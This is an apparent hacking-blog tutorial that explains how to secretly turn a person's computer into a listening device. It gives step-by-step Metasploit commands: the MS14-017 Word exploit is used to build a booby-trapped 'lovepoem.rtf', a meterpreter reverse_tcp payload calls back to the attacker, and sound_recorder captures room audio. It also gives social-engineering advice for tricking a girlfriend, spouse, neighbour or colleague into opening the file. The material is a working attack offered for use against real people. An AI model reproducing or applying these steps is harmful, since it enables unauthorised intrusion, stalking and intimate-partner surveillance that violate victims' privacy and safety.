top of page

How to Record Anyone's  Conversation

Now that nearly everyone and everyplace has a computer, you can use those remote computers for some good old "cloak and dagger" spying. No longer is spying something that only the CIA, NSA, KGB, and other intelligence agencies can do—you can learn to spy, too.

In this series, we will explore how we can use the ubiquity of the computer to peek in on just about anyone and anyplace. Unlike the spy movies of yesteryear where the spy had to place a listening device in the lamp or in a houseplant, as long as there is a computer in the room, it can be used as a "bug."

We will examine how to turn that commonplace computer into our own bug to listen in on conversations, use as a spy camera, track Internet searches, and more. James Bond and Q have nothing on us!

In this first part, I will show you how to convert any computer, anywhere, into a listening device. As nearly every room now has a computer in it, you can put a bug in nearly every room, unnoticed and undetected.

Step 1: Fire Up Kali

The first step, of course, is to fire up Kali Linux and open Metasploit. To be able to use any computer as a bug, the first step will be to compromise the target computer


Step 2: Compromise the Remote Computer

Probably the best way to compromise your target's computer is to use a carefully crafted email that will get the target to click on a document or link. Inside that document or link, we will embed a rootkit/listener that will enable us to turn on the built-in microphone on their computer and save any conversations in the room where it is located.

Since we know the victim (it may be a girlfriend, neighbor, spouse, business associate, foreign diplomat, foreign spy, etc.), we can can be very specific in crafting an email that would gain their acceptance. The key, of course, is to create document that sounds compelling, or at least interesting, to get the victim to click on the Word document.

This becomes an exercise in social engineering at this point. If the victim is a girlfriend/boyfriend, you might try sending a love letter. If the victim is a business associate, it might be Word or Excel document with a sales or other report. If it is a neighbor, it may be a link to a community webpage.

I hope you get the point. Be creative and imaginative and send something that the person will be compelled to open and view.

One last point before we proceed, not all exploits require social engineering. In some cases, you can exploit the system without the target doing anything. For instance, the ETERNALBLUE exploit developed by the US's super secret spy agency, the  NSA, does not require any intervention by the user. For more on how to use ETERNALBLUE, see my article here.

Step 3: Find an Exploit

Now, if we want to exploit a Windows 7 system (most Windows 7 exploits will work on Windows 8), we will need to find a Windows 7 exploit that utilizes vulnerabilities in Microsoft's Word application.

This past spring, Microsoft revealed that hackers had found a vulnerability in Microsoft Word and Office Web apps that could allow remote code execution (read, rootkit). Here is Microsoft's announcement on their Technet Security Bulletin below (more info on Technet can be found here).








As you can see, they have named it MS14-017. When we do a search in Metasploit for this vulnerability/exploit, we find:


Now that we have found the proper exploit, let's load it into Metasploit by typing:

msf >use exploit/windows/fileformat/ms14_017_rtf


Once we have it loaded, let's type "info" to find more about this exploit.








Now, "show options."








As you can see, the option we need to fill is the FILENAME. In addition, note that this exploit works only on Office 2010.

Step 4: Set the FILENAME

In this example, we will be spying on your girlfriend, so let's send her a love poem. Let's set the FILENAME to "lovepoem.rtf."

msf > set FILENAME lovepoem.rtf



Step 5: Set the Payload

Next, we need to set the payload to place in her "lovepoem." In this case, let's send the meterpreter as it gives us almost unlimited power and control over the hacked system.

msf > set PAYLOAD windows/meterpreter/reverse_tcp


Next, set the LHOST. This is the IP of your system. This tells the payload who to call back when it is executed by the victim.

Finally, simply type "exploit." This will create a Word file called "lovepoem" that will place the meterpreter on her system that we can then connect to.


Step 6: Open a Multi-Handler for the Connection

For the next step, we need to open a multi-handler to receive the connection back to our system.

msf > use exploit/multi/handler

msf > set PAYLOAD windows/meterpreter/reverse_tcp


And finally, set the LHOST to your IP.

Step 7: Send the Love Poem to Your Girfriend

Now that we have created our malicious file, you need to send it to your girlfriend. You likely will want to send it via an email attachment with a note telling her that your wrote her a short poem to express your love for her. Knowing that it is from you, I'm sure she will click on it as she loves you dearly and trusts you completely.

Step 8: Compromise Her System

When she opens it, we will have a meterpreter session on her computer like that below. Now comes the good part.


Step 9: Record with the Microphone

What we will do next is enable the microphone on her computer and begin to record all of the sounds within earshot of it. Metasploit has a Ruby script that will enable the microphone on the target machine and begin to record all sounds and conversations nearby. If we go to our ultimate list of meterpreter scripts, we can find it among the many ready Ruby scripts built for the meterpreter.

From the meterpreter prompt, simply type:

meterpreter > run sound_recorder - l /root


This will start the microphone on her computer and store the recorded conversations and sounds in a file in the /root directory on your system. Of course, you can choose any directory to store these recordings. Just make certain you have adequate hard drive space, as these files can become very large. When you want to hear what was recorded, simply open the stored file on your system.

Stay Tuned for More Spying Fun...

No longer is spying the exclusive province of the CIA, NSA, KGB, or MI5. With just a little computer skills, anyone can be a spy. In future tutorials, I will show you how to turn on webcams, take screenshots, download confidential files from anyone's computer, and more.

If you are not familiar with Metasploit, check out my series Metasploit Basics that you can read here.

bottom of page